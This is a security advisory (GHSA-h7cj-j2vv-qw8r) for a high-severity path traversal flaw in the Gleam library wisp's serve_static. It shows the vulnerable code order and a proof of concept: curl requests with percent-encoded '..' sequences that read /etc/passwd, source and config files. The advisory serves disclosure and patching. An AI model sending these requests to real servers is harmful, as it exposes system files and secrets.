GHSA-h7cj-j2vv-qw8r

Suggest an improvement
Source
https://github.com/advisories/GHSA-h7cj-j2vv-qw8r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-h7cj-j2vv-qw8r/GHSA-h7cj-j2vv-qw8r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h7cj-j2vv-qw8r
Aliases
Published
2026-03-11T00:11:39Z
Modified
2026-06-08T23:45:16Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Wisp Vulnerable to Path Traversal
Details

Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

  • Application source code
  • Configuration and secrets in priv/
  • .env files, secret_key_base, private keys
  • System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

Database specific
{
    "cwe_ids":  [
        "CWE-22"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-11T00:11:39Z",
    "nvd_published_at":  "2026-03-10T22:16:18Z",
    "severity":  "HIGH"
}
References

Affected packages

Hex / wisp

Package

Name
wisp
Purl
pkg:hex/wisp

Affected ranges

Type
SEMVER
Events
Introduced
2.1.1
Fixed
2.2.1

Affected versions

2.*
2.1.1
2.2.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-h7cj-j2vv-qw8r/GHSA-h7cj-j2vv-qw8r.json"